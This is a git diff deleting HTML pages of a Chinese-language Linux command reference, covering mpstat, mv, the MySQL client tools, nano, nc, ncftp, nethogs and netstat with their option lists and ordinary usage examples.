-Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
-10:17:35 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
-10:17:35 PM all    0.07    0.02    0.25    0.21    0.01    0.04    0.00   99.39   1004.73
-
-
mpstat 3 10
-Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
-10:17:55 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
-10:17:58 PM all   13.12    0.00   20.93    0.00    1.83    9.80    0.00   54.32   2488.08
-10:18:01 PM all   10.82    0.00   19.30    0.83    1.83    9.32    0.00   57.90   2449.83
-10:18:04 PM all   10.95    0.00   20.40    0.17    1.99    8.62    0.00   57.88   2384.05
-10:18:07 PM all   10.47    0.00   18.11    0.00    1.50    8.47    0.00   61.46   2416.00
-10:18:10 PM all   11.81    0.00   22.63    0.00    1.83   11.98    0.00   51.75   2210.60
-10:18:13 PM all    6.31    0.00   10.80    0.00    1.00    5.32    0.00   76.58   1795.33
-10:18:19 PM all    1.75    0.00    3.16    0.75    0.25    1.25    0.00   92.85   1245.18
-10:18:22 PM all   11.94    0.00   19.07    0.00    1.99    8.29    0.00   58.71   2630.46
-10:18:25 PM all   11.65    0.00   19.30    0.50    2.00    9.15    0.00   57.40   2673.91
-10:18:28 PM all   11.44    0.00   21.06    0.33    1.99   10.61    0.00   54.56   2369.87
-Average:     all    9.27    0.00   16.18    0.30    1.50    7.64    0.00   65.11   2173.54
-
-

上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mtools.html b/linux-command.docset/Contents/Resources/Documents/c/mtools.html deleted file mode 100644 index c84a007f8e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mtools.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - mtools 命令,Linux mtools 命令详解:显示mtools支持的指令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mtools

-

显示mtools支持的指令

-

补充说明

-

mtools命令 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性。

-

语法

-
mtools(选项)
-
-

选项

-
-a:长文件名重复时自动更改目标文件的长文件名;
--A:短文件名重复但长文件名不同时自动更改目标文件的短文件名;
--o:长文件名重复时,将目标文件覆盖现有的文件;
--O:短文件名重复但长文件名不同时,将目标文件覆盖现有的文件;
--r:长文件名重复时,要求用户更改目标文件的长文件名;
--R:短文件名重复但长文件名不同时,要求用户更改目标文件的短文件名;
--s:长文件名重复时,则不处理该目标文件;
--S:短文件名重复但长文件名不同时,则不处理该目标文件;
--v:执行时显示详细的说明;
--V:显示版本信息。
-
-

实例

-

使用mtools命令显示其支持的所有的指令,输入如下命令:

-
[root@localhost ~]# mtools     #显示所有支持的指令名称
-Supported commands:
-mattrib, mbadblocks, mcat, mcd, mclasserase, mcopy, mdel, mdeltree
-mdir, mdoctorfat, mdu, mformat, minfo, mlabel, mmd, mmount
-mpartition, mrd, mread, mmove, mren, mshowfat, mtoolstest, mtype
-mwrite, mzip
-
-

如上所示,其显示的所有命令均为mtools工具所支持的。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mv.html b/linux-command.docset/Contents/Resources/Documents/c/mv.html deleted file mode 100644 index 2c1d70ad11..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mv.html +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - - - - - - mv 命令,Linux mv 命令详解:用来对文件或目录重新命名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mv

-

用来对文件或目录重新命名

-

补充说明

-

mv命令 用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。source表示源文件或目录,target表示目标文件或目录。如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。

-

mv命令可以用来将源文件移至一个目标文件中,或将一组文件移至一个目标目录中。源文件被移至目标文件有两种不同的结果:

-
    -
  1. 如果目标文件是到某一目录文件的路径,源文件会被移到此目录下,且文件名不变。
  2. -
  3. 如果目标文件不是目录文件,则源文件名(只能有一个)会变为此目标文件名,并覆盖己存在的同名文件。如果源文件和目标文件在同一个目录下,mv的作用就是改文件名。当目标文件是目录文件时,源文件或目录参数可以有多个,则所有的源文件都会被移至目标文件中。所有移到该目录下的文件都将保留以前的文件名。
  4. -
-

注意事项:mv与cp的结果不同,mv好像文件“搬家”,文件个数并未增加。而cp对文件进行复制,文件个数增加了。

-

语法

-
mv(选项)(参数)
-
-

选项

-
--backup=<备份模式>:若需覆盖文件,则覆盖前先行备份;
--b:当文件存在时,覆盖前,为其创建一个备份;
--f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录;
--i:交互式操作,覆盖前先行询问用户,如果源文件与目标文件或目标目录中的文件同名,则询问用户是否覆盖目标文件。用户输入”y”,表示将覆盖目标文件;输入”n”,表示取消对源文件的移动。这样可以避免误将文件覆盖。
---strip-trailing-slashes:删除源文件中的斜杠“/”;
--S<后缀>:为备份文件指定后缀,而不使用默认的后缀;
---target-directory=<目录>:指定源文件要移动到目标目录;
--u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作。
-
-

参数

-
    -
  • 源文件:源文件列表。
  • -
  • 目标文件:如果“目标文件”是文件名则在移动文件的同时,将其改名为“目标文件”;如果“目标文件”是目录名则将源文件移动到“目标文件”下。
  • -
-

实例

-

将目录/usr/men中的所有文件移到当前目录(用.表示)中:

-
mv /usr/men/* .
-
-

移动文件

-
mv file_1.txt /home/office/
-
-

移动多个文件

-
mv file_2.txt file_3.txt file_4.txt /home/office/
-mv *.txt /home/office/
-
-

移动目录

-
mv directory_1/ /home/office/
-
-

重命名文件或目录

-
mv file_1.txt file_2.txt # 将文件file_1.txt改名为file_2.txt
-
-

重命名目录

-
mv directory_1/ directory_2/
-
-

打印移动信息

-
mv -v *.txt /home/office
-
-

提示是否覆盖文件

-
mv -i file_1.txt /home/office
-
-

源文件比目标文件新时才执行更新

-
mv -uv *.txt /home/office
-
-

不要覆盖任何已存在的文件

-
mv -vn *.txt /home/office
-
-

复制时创建备份

-
mv -bv *.txt /home/office
-
-

无条件覆盖已经存在的文件

-
mv -f *.txt /home/office
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mysql.html b/linux-command.docset/Contents/Resources/Documents/c/mysql.html deleted file mode 100644 index 0a1bb92455..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mysql.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - mysql 命令,Linux mysql 命令详解:MySQL服务器客户端工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mysql

-

MySQL服务器客户端工具

-

补充说明

-

mysql命令 是MySQL数据库服务器的客户端工具,它工作在命令行终端中,完成对远程MySQL数据库服务器的操作。

-

语法

-
mysql(选项)(参数)
-
-

选项

-
-h:MySQL服务器的ip地址或主机名;
--u:连接MySQL服务器的用户名;
--e:执行mysql内部命令;
--p:连接MySQL服务器的密码。
-
-

参数

-

数据库:指定连接服务器后自动打开的数据库。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mysqladmin.html b/linux-command.docset/Contents/Resources/Documents/c/mysqladmin.html deleted file mode 100644 index 22927dd801..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mysqladmin.html +++ /dev/null @@ -1,103 +0,0 @@ - - - - - - - - - - - mysqladmin 命令,Linux mysqladmin 命令详解:MySQL服务器管理客户端 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mysqladmin

-

MySQL服务器管理客户端

-

补充说明

-

mysqladmin命令 是mysql服务器管理任务的客户端工具,它可以检查mytsql服务器的配置和当前工作状态,创建和删除数据库,创建用户和修改用户密码等操作。

-

语法

-
mysqladmin(选项)(参数)
-
-

选项

-
-h:MySQL服务器主机名或ip地址;
--u:连接MySQL服务器的用户名;
--p:连接MySQL服务器的密码;
---help:显示帮助信息。
-
-

参数

-

管理命令:需要在MySQL服务器上执行的管理命令。

-

mysqladmin支持下列命令:

-
create databasename:创建一个新数据库;
-drop databasename:删除一个数据库及其所有表;
-extended-status:给出服务器的一个扩展状态消息;
-flush-hosts:清空所有缓存的主机;
-flush-logs:清空所有日志;
-flush-tables:清空所有表;
-flush-privileges:再次装载授权表(同reload);
-kill id,id,...:杀死mysql线程;
-password 新口令:将老密码改为新密码;
-ping:检查mysqld是否活着;
-processlist:显示服务其中活跃线程列表;
-reload:重载授权表;
-refresh:清空所有表并关闭和打开日志文件;
-shutdown:关掉服务器;
-status:给出服务器的简短状态消息;
-variables:打印出可用变量;
-version:得到服务器的版本信息。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mysqldump.html b/linux-command.docset/Contents/Resources/Documents/c/mysqldump.html deleted file mode 100644 index 06496e6b47..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mysqldump.html +++ /dev/null @@ -1,107 +0,0 @@ - - - - - - - - - - - mysqldump 命令,Linux mysqldump 命令详解:MySQL数据库中备份工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mysqldump

-

MySQL数据库中备份工具

-

补充说明

-

mysqldump命令 是mysql数据库中备份工具,用于将MySQL服务器中的数据库以标准的sql语言的方式导出,并保存到文件中。

-

语法

-
mysqldump(选项)
-
-

选项

-
--add-drop-table:在每个创建数据库表语句前添加删除数据库表的语句;
---add-locks:备份数据库表时锁定数据库表;
---all-databases:备份MySQL服务器上的所有数据库;
---comments:添加注释信息;
---compact:压缩模式,产生更少的输出;
---complete-insert:输出完成的插入语句;
---databases:指定要备份的数据库;
---default-character-set:指定默认字符集;
---force:当出现错误时仍然继续备份操作;
---host:指定要备份数据库的服务器;
---lock-tables:备份前,锁定所有数据库表;
---no-create-db:禁止生成创建数据库语句;
---no-create-info:禁止生成创建数据库库表语句;
---password:连接MySQL服务器的密码;
---port:MySQL服务器的端口号;
---user:连接MySQL服务器的用户名。
-
-

实例

-

导出整个数据库

-
mysqldump -u 用户名 -p 数据库名 > 导出的文件名
-mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql
-
-

导出一个表

-
mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
-mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql
-
-

导出一个数据库结构

-
mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql
-
-

-d没有数据,--add-drop-table每个create语句之前增加一个drop table

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mysqlimport.html b/linux-command.docset/Contents/Resources/Documents/c/mysqlimport.html deleted file mode 100644 index 9fca6516fc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mysqlimport.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - mysqlimport 命令,Linux mysqlimport 命令详解:为MySQL服务器用命令行方式导入数据 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mysqlimport

-

为MySQL服务器用命令行方式导入数据

-

补充说明

-

mysqlimport命令 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。

-

语法

-
mysqlimport(选项)(参数)
-
-

选项

-
-D:导入数据前清空表;
--f:出现错误时继续处理剩余的操作;
--h:MySQL服务器的ip地址或主机名;
--u:连接MySQL服务器的用户名;
--p:连接MySQL服务器的密码。
-
-

参数

-
    -
  • 数据库名:指定要导入的数据库名称;
  • -
  • 文本文件:包含特定格式文本文件。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mysqlshow.html b/linux-command.docset/Contents/Resources/Documents/c/mysqlshow.html deleted file mode 100644 index 635136a801..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mysqlshow.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - mysqlshow 命令,Linux mysqlshow 命令详解:显示MySQL中数据库相关信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mysqlshow

-

显示MySQL中数据库相关信息

-

补充说明

-

mysqlshow命令 用于显示mysql服务器中数据库、表和列表信息。

-

语法

-
mysqlshow(选项)(参数)
-
-

选项

-
-h:MySQL服务器的ip地址或主机名;
--u:连接MySQL服务器的用户名;
--p:连接MySQL服务器的密码;
---count:显示每个数据表中数据的行数;
--k:显示数据表的索引;
--t:显示数据表的类型;
--i:显示数据表的额外信息。
-
-

参数

-

数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/named-checkzone.html b/linux-command.docset/Contents/Resources/Documents/c/named-checkzone.html deleted file mode 100644 index 051cec67d2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/named-checkzone.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - named-checkzone 命令,Linux named-checkzone 命令详解:使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

named-checkzone

-

使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称

-

补充说明

-

named-checkzone命令 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。

-

语法

-
named-checkzone [选项] [区域名] [区域文件名]
-
-

选项

-
-q 安静模式
--d 启用调试
--c <类别> 指定区域的类别。如果没指定就使用IN
-
-

例子

-

对区域文件/var/named/192.168.0.rev进行有效性检查和转换。

-
[root@localhost ~]# named-checkzone 0.168.192.in-addr.arpa /var/named/192.168.0.rev
-zone0.168.192.in-addr.arpa/IN: loaded serial 1268360612
-OK
-
-

对区域文件/var/named/sh.com.hosts进行有效性检查和转换。

-
[root@localhost ~]#  named-checkzone sh.com /var/named/sh.com.hosts
-zonesh.com/IN: sh.com/MX 'mail.sh.com' is a CNAME (illegal)
-zonesh.com/IN: loaded serial 1268360234
-OK
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nano.html b/linux-command.docset/Contents/Resources/Documents/c/nano.html deleted file mode 100644 index e529e0e388..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nano.html +++ /dev/null @@ -1,146 +0,0 @@ - - - - - - - - - - - nano 命令,Linux nano 命令详解:字符终端文本编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nano

-

字符终端文本编辑器

-

补充说明

-

nano 是一个字符终端的文本编辑器,有点像DOS下的editor程序。它比vi/vim要简单得多,比较适合Linux初学者使用。某些Linux发行版的默认编辑器就是nano。

-

nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上-w选项吧。

-

语法

-
nano [选项] [[+行,列] 文件名]...
-
-

选项

-
 -h, -?         --help                  显示此信息
- +行,列                                 从所指列数与行数开始
- -A             --smarthome             启用智能 HOME 键
- -B             --backup                储存既有文件的备份
- -C <目录>      --backupdir=<目录>      用以储存独一备份文件的目录
- -D             --boldtext              用粗体替代颜色反转
- -E             --tabstospaces          将已输入的制表符转换为空白
- -F             --multibuffer           启用多重文件缓冲区功能
- -H             --historylog            记录与读取搜索/替换的历史字符串
- -I             --ignorercfiles         不要参考nanorc 文件
- -K             --rebindkeypad          修正数字键区按键混淆问题
- -L             --nonewlines            不要将换行加到文件末端
- -N             --noconvert             不要从 DOS/Mac 格式转换
- -O             --morespace             编辑时多使用一行
- -Q <字符串>    --quotestr=<字符串>     引用代表字符串
- -R             --restricted            限制模式
- -S             --smooth                按行滚动而不是半屏
- -T <#列数>     --tabsize=<#列数>       设定制表符宽度为 #列数
- -U             --quickblank            状态行快速闪动
- -V             --version               显示版本资讯并离开
- -W             --wordbounds            更正确地侦测单字边界
- -Y <字符串>    --syntax=<字符串>       用于加亮的语法定义
- -c             --const                 持续显示游标位置
- -d             --rebinddelete          修正退格键/删除键混淆问题
- -i             --autoindent            自动缩进新行
- -k             --cut                   从游标剪切至行尾
- -l             --nofollow              不要依照符号连结,而是覆盖
- -m             --mouse                 启用鼠标功能
- -o <目录>      --operatingdir=<目录>   设定操作目录
- -p             --preserve              保留XON (^Q) 和XOFF (^S) 按键
- -q             --quiet                 沉默忽略启动问题, 比如rc 文件错误
- -r <#列数>     --fill=<#列数>          设定折行宽度为 #列数
- -s <程序>      --speller=<程序>        启用替代的拼写检查程序
- -t             --tempfile              离开时自动储存,不要提示
- -u             --undo                  允许通用撤销[试验性特性]
- -v             --view                  查看(只读)模式
- -w             --nowrap                不要自动换行
- -x             --nohelp                不要显示辅助区
- -z             --suspend               启用暂停功能
- -$             --softwrap              启用软换行
- -a, -b, -e,
- -f, -g, -j                             (忽略,为与pico 相容)
-
-

用法

-

光标控制

-
    -
  • 移动光标:使用用方向键移动。
  • -
  • 选择文字:按住鼠标左键拖到。
  • -
-

复制、剪贴和粘贴

-
    -
  • 复制一整行:Alt+6
  • -
  • 剪贴一整行:Ctrl+K
  • -
-

粘贴:Ctrl+U

-

如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6。

-

搜索

-

按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本。

-

翻页

-
    -
  • Ctrl+Y 到上一页
  • -
  • Ctrl+V 到下一页
  • -
-

保存

-

使用Ctrl+O来保存所做的修改

-

退出

-

按Ctrl+X

-

如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nc.html b/linux-command.docset/Contents/Resources/Documents/c/nc.html deleted file mode 100644 index 6e97b6e4d0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nc.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - - nc 命令,Linux nc 命令详解:用于设置路由器,是网络工具中的瑞士军刀 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nc

-

用于设置路由器,是网络工具中的瑞士军刀

-

补充说明

-

nc命令 全称netcat,用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。

-

语法

-
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>]
-[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
-
-

选项

-
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
--G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
--h 在线帮助。
--i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
--l 使用监听模式,管控传入的资料。
--n 直接使用IP地址,而不通过域名服务器。
--o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
--p<通信端口> 设置本地主机使用的通信端口。
--r 乱数指定本地与远端主机的通信端口。
--s<来源位址> 设置本地主机送出数据包的IP地址。
--u 使用UDP传输协议。
--v 显示指令执行过程。
--w<超时秒数> 设置等待连线的时间。
--z 使用0输入/输出模式,只在扫描通信端口时使用。
-
-

实例

-

TCP端口扫描

-
[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 
-192.168.0.3: inverse host lookup failed: Unknown host
-(UNKNOWN) [192.168.0.3] 80 (http) open
-(UNKNOWN) [192.168.0.3] 23 (telnet) open
-(UNKNOWN) [192.168.0.3] 22 (ssh) open
-
-

扫描192.168.0.3 的端口 范围是 1-100 -扫描UDP端口

-
[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000  # 扫描192.168.0.3 的端口 范围是 1-1000
-
-

扫描指定端口

-
[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口
-(UNKNOWN) [192.168.0.1] 80 (?) open
-y  //用户输入
-
-

查看从服务器到目的地的出站端口 443 是否被防火墙阻止

-
nc -vz acme-v02.api.letsencrypt.org 443 -w2
-# Ncat: Version 7.50 ( https://nmap.org/ncat )
-# Ncat: Connected to 23.77.214.183:443.
-# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ncftp.html b/linux-command.docset/Contents/Resources/Documents/c/ncftp.html deleted file mode 100644 index a69ae5455e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ncftp.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - - - - - - ncftp 命令,Linux ncftp 命令详解:是增强的的FTP工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ncftp

-

是增强的的FTP工具

-

补充说明

-

ncftp命令 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。

-

语法

-
ncftp(选项)(参数)
-
-

选项

-
-u:指定登录FTP服务器时使用的用户名;
--p:指定登录FTP服务器时使用的密码;
--P:如果FTP服务器没有使用默认的TCP协议的21端口,则使用此选项指定FTP服务器的端口号。
--m:在传之前尝试在目录位置创建目录(用于传目录的情况)
--R:递规传子目录
-
-

参数

-

FTP服务器:指定远程FTP服务器的ip地址或主机名。

-

安装

-
wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz
-tar zxvf ncftp-3.2.3-src.tar.gz
-cd ncftp-3.2.3/
-./configure --prefix=/usr/local/ncftp
-make && make install
-
-

实例

-

将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。

-
/usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137  flv/games/ /etc/*
-
-

指令说明

-

ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。对于所有的命令,都可以使用help <命令>的格式获得详细帮助。l开头的就是对本地执行的命令,其它的就是对登入的ftp服务目录的操作命令。

-

增加的本地文件系统的操作命令:

-
    -
  • lls: 列出本地当前目录文件;
  • -
  • lmkdir : 本地建立目录;
  • -
  • lrename: 本地文件改名;
  • -
  • lpwd: 显示当前本地路 径;
  • -
  • lchmod: 改变本地文件权限;
  • -
  • lpage: 显示本地文件内容;
  • -
  • lrm: 删除本地文件;
  • -
  • lrmdir: 删除本地目录。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nethogs.html b/linux-command.docset/Contents/Resources/Documents/c/nethogs.html deleted file mode 100644 index 12a684763f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nethogs.html +++ /dev/null @@ -1,154 +0,0 @@ - - - - - - - - - - - nethogs 命令,Linux nethogs 命令详解:终端下的网络流量监控工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nethogs

-

终端下的网络流量监控工具

-

补充说明

-

有很多适用于Linux系统的开源网络监视工具。比如说,你可以用命令iftop来检查带宽使用情况。netstat用来查看接口统计报告,还有top监控系统当前运行进程。但是如果你想要找一个能够按进程实时统计网络带宽利用率的工具,那么NetHogs值得一看。

-

NetHogs 是一个开源的命令行工具(类似于Linux的top命令),用来按进程或程序实时统计网络带宽使用率。

-

来自NetHogs项目网站:

-
-

NetHogs是一个小型的net top工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动NetHogs立即看到哪个PID造成的这种状况。这样就很容易找出哪个程序跑飞了然后突然占用你的带宽。

-
-

本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。

-

语法

-
nethogs(选项)(参数)
-
-

选项

-
usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]]
-  -V : 打印版本。
-  -h : 打印此帮助。
-  -b : bughunt模式 - 暗示tracemode。
-  -d : 延迟更新刷新率(以秒为单位)。 默认值为1。
-  -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0。
-  -c : 更新次数。 默认为0(无限制)。
-  -t : tracemode.
-  -p : 煽动混乱模式(不推荐)。
-  -s : 按发送列排序输出。
-  -a : 监控所有设备,甚至环回/停止。
-  device : 要监控的设备。 默认是所有接口启动和运行,不包括环回
-
-当nethogs运行时,按:
-  q:退出
-  s:按SENT流量排序
-  r:按RECEIVE流量排序
-  m:在总(KB,B,MB)和KB / s模式之间切换
-
-

其他参数和用法

-
-d : 刷新间隔
--h : 帮助
--p : promiscious 模式
--t : trace模式 
--V : 版本
-
-

交互命令

-

以下是NetHogs的一些交互命令(键盘快捷键)

-
    -
  • m : 修改单位
  • -
  • r : 按流量排序
  • -
  • s : 按发送流量排序
  • -
  • q : 退出命令提示符
  • -
-

安装

-

在RHEL、CentOS和Fedora下安装NetHogs

-

要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包。

-
yum install nethogs
-
-

在Ubuntu、Linux mint和Debian下安装NetHogs

-

键入apt-get命令安装NetHogs包:

-
$ sudo apt-get install nethogs
-
-

NetHogs用法

-

在基于RedHat系统下键入如下命令启动NetHogs工具。

-
nethogs
-
-

在Debian/Ubuntu/Linux Mint下要执行NetHogs你必须拥有root权限:

-
$ sudo nethogs
-
-

!nethogs

-

Ubuntu 12.10 下的NetHogs预览

-

正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。

-

NetHogs 命令行参数

-

以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可:

-
nethogs -d 5
-
-
$ sudo nethogs -d 5
-
-

如果只用来监视设备(eth0)的网络带宽可以使用如下命令:

-
nethogs eth0
-
-
$ sudo nethogs eth0
-
-

如果要同时监视eth0和eth1接口,使用以下命令即可:

-
nethogs eth0 eth1
-
-
$ sudo nethogs eth0 eth1
-
-
-

关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入man nethogs或者sudo man nethogs,更多信息请参考NetHogs项目主页。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/netstat.html b/linux-command.docset/Contents/Resources/Documents/c/netstat.html deleted file mode 100644 index 21047c0dfc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/netstat.html +++ /dev/null @@ -1,229 +0,0 @@ - - - - - - - - - - - netstat 命令,Linux netstat 命令详解:查看Linux中网络系统状态信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

netstat

-

查看Linux中网络系统状态信息

-

补充说明

-

netstat命令 用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。

-

语法

-
netstat(选项)
-
-

选项

-
-a或--all:显示所有连线中的Socket;
--A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
--c或--continuous:持续列出网络状态;
--C或--cache:显示路由器配置的快取信息;
--e或--extend:显示网络其他相关信息;
--F或--fib:显示FIB;
--g或--groups:显示多重广播功能群组组员名单;
--h或--help:在线帮助;
--i或--interfaces:显示网络界面信息表单;
--l或--listening:显示监控中的服务器的Socket;
--M或--masquerade:显示伪装的网络连线;
--n或--numeric:直接使用ip地址,而不通过域名服务器;
--N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称;
--o或--timers:显示计时器;
--p或--programs:显示正在使用Socket的程序识别码和程序名称;
--r或--route:显示Routing Table;
--s或--statistice:显示网络工作信息统计表;
--t或--tcp:显示TCP传输协议的连线状况;
--u或--udp:显示UDP传输协议的连线状况;
--v或--verbose:显示指令执行过程;
--V或--version:显示版本信息;
--w或--raw:显示RAW传输协议的连线状况;
